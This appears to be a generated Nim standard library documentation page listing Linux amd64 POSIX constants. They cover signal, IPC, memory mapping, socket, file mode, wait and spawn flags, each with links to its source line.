[Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L412) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L412) ``` SS_DISABLE = 2'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L413) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L413) ``` MINSIGSTKSZ = 2048'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L414) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L414) ``` SIGSTKSZ = 8192'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L415) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L415) ``` SIG_HOLD = 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L416) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L416) ``` SIG_DFL = 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L417) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L417) ``` SIG_ERR = -1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L418) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L418) ``` SIG_IGN = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L419) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L419) ``` IPC_CREAT = 512'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L422) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L422) ``` IPC_EXCL = 1024'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L423) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L423) ``` IPC_NOWAIT = 2048'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L424) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L424) ``` IPC_PRIVATE = 0'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L425) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L425) ``` IPC_RMID = 0'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L426) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L426) ``` IPC_SET = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L427) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L427) ``` IPC_STAT = 2'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L428) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L428) ``` PROT_READ = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L431) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L431) ``` PROT_WRITE = 2'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L432) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L432) ``` PROT_EXEC = 4'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L433) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L433) ``` PROT_NONE = 0'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L434) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L434) ``` MAP_ANONYMOUS = 32'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L435) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L435) ``` MAP_FIXED_NOREPLACE = 1048576'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L436) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L436) ``` MAP_NORESERVE = 16384'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L437) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L437) ``` MAP_SHARED = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L438) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L438) ``` MAP_PRIVATE = 2'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L439) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L439) ``` MAP_FIXED = 16'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L440) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L440) ``` MS_ASYNC = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L441) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L441) ``` MS_SYNC = 4'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L442) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L442) ``` MS_INVALIDATE = 2'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L443) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L443) ``` MCL_CURRENT = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L444) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L444) ``` MCL_FUTURE = 2'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L445) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L445) ``` MAP_FAILED = 0xFFFFFFFF ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L446) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L446) ``` POSIX_MADV_NORMAL = 0'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L447) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L447) ``` POSIX_MADV_SEQUENTIAL = 2'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L448) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L448) ``` POSIX_MADV_RANDOM = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L449) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L449) ``` POSIX_MADV_WILLNEED = 3'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L450) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L450) ``` POSIX_MADV_DONTNEED = 4'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L451) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L451) ``` MAP_POPULATE = 32768'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L452) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L452) ``` RLIMIT_NOFILE = 7'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L455) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L455) ``` FD_SETSIZE = 1024'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L458) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L458) ``` MSG_CTRUNC = 8'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L461) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L461) ``` MSG_DONTROUTE = 4'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L462) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L462) ``` MSG_EOR = 128'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L463) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L463) ``` MSG_OOB = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L464) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L464) ``` SCM_RIGHTS = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L465) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L465) ``` SO_ACCEPTCONN = 30'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L466) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L466) ``` SO_BROADCAST = 6'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L467) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L467) ``` SO_DEBUG = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L468) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L468) ``` SO_DONTROUTE = 5'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L469) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L469) ``` SO_ERROR = 4'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L470) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L470) ``` SO_KEEPALIVE = 9'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L471) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L471) ``` SO_LINGER = 13'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L472) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L472) ``` SO_OOBINLINE = 10'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L473) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L473) ``` SO_RCVBUF = 8'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L474) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L474) ``` SO_RCVLOWAT = 18'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L475) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L475) ``` SO_RCVTIMEO = 20'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L476) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L476) ``` SO_REUSEADDR = 2'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L477) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L477) ``` SO_SNDBUF = 7'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L478) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L478) ``` SO_SNDLOWAT = 19'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L479) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L479) ``` SO_SNDTIMEO = 21'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L480) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L480) ``` SO_TYPE = 3'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L481) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L481) ``` SOCK_DGRAM = 2'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L482) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L482) ``` SOCK_RAW = 3'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L483) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L483) ``` SOCK_SEQPACKET = 5'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L484) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L484) ``` SOCK_STREAM = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L485) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L485) ``` SOCK_CLOEXEC = 524288'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L486) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L486) ``` SOL_SOCKET = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L487) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L487) ``` SOMAXCONN = 4096'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L488) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L488) ``` SO_REUSEPORT = 15'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L489) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L489) ``` MSG_NOSIGNAL = 16384'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L490) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L490) ``` MSG_PEEK = 2'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L491) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L491) ``` MSG_TRUNC = 32'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L492) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L492) ``` MSG_WAITALL = 256'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L493) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L493) ``` AF_INET = 2'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L494) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L494) ``` AF_INET6 = 10'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L495) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L495) ``` AF_UNIX = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L496) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L496) ``` AF_UNSPEC = 0'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L497) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L497) ``` SHUT_RD = 0'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L498) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L498) ``` SHUT_RDWR = 2'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L499) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L499) ``` SHUT_WR = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L500) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L500) ``` S_IFBLK = 24576'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L503) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L503) ``` S_IFCHR = 8192'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L504) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L504) ``` S_IFDIR = 16384'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L505) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L505) ``` S_IFIFO = 4096'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L506) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L506) ``` S_IFLNK = 40960'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L507) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L507) ``` S_IFMT = 61440'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L508) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L508) ``` S_IFREG = 32768'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L509) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L509) ``` S_IFSOCK = 49152'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L510) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L510) ``` S_IRGRP = 32'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L511) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L511) ``` S_IROTH = 4'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L512) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L512) ``` S_IRUSR = 256'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L513) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L513) ``` S_IRWXG = 56'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L514) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L514) ``` S_IRWXO = 7'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L515) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L515) ``` S_IRWXU = 448'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L516) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L516) ``` S_ISGID = 1024'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L517) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L517) ``` S_ISUID = 2048'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L518) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L518) ``` S_ISVTX = 512'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L519) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L519) ``` S_IWGRP = 16'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L520) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L520) ``` S_IWOTH = 2'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L521) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L521) ``` S_IWUSR = 128'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L522) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L522) ``` S_IXGRP = 8'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L523) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L523) ``` S_IXOTH = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L524) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L524) ``` S_IXUSR = 64'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L525) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L525) ``` ST_RDONLY = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L528) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L528) ``` ST_NOSUID = 2'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L529) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L529) ``` WNOHANG = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L532) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L532) ``` WUNTRACED = 2'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L533) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L533) ``` WEXITED = 4'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L534) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L534) ``` WSTOPPED = 2'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L535) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L535) ``` WCONTINUED = 8'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L536) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L536) ``` WNOWAIT = 16777216'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L537) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L537) ``` POSIX_SPAWN_RESETIDS = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L540) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L540) ``` POSIX_SPAWN_SETPGROUP = 2'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L541) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L541) ``` POSIX_SPAWN_SETSCHEDPARAM = 16'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L542) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L542) ``` POSIX_SPAWN_SETSCHEDULER = 32'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L543) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L543) ``` POSIX_SPAWN_SETSIGDEF = 4'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L544) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L544) ``` POSIX_SPAWN_SETSIGMASK = 8'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L545) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L545) ``` POSIX_SPAWN_USEVFORK = 64'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L546) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L546) 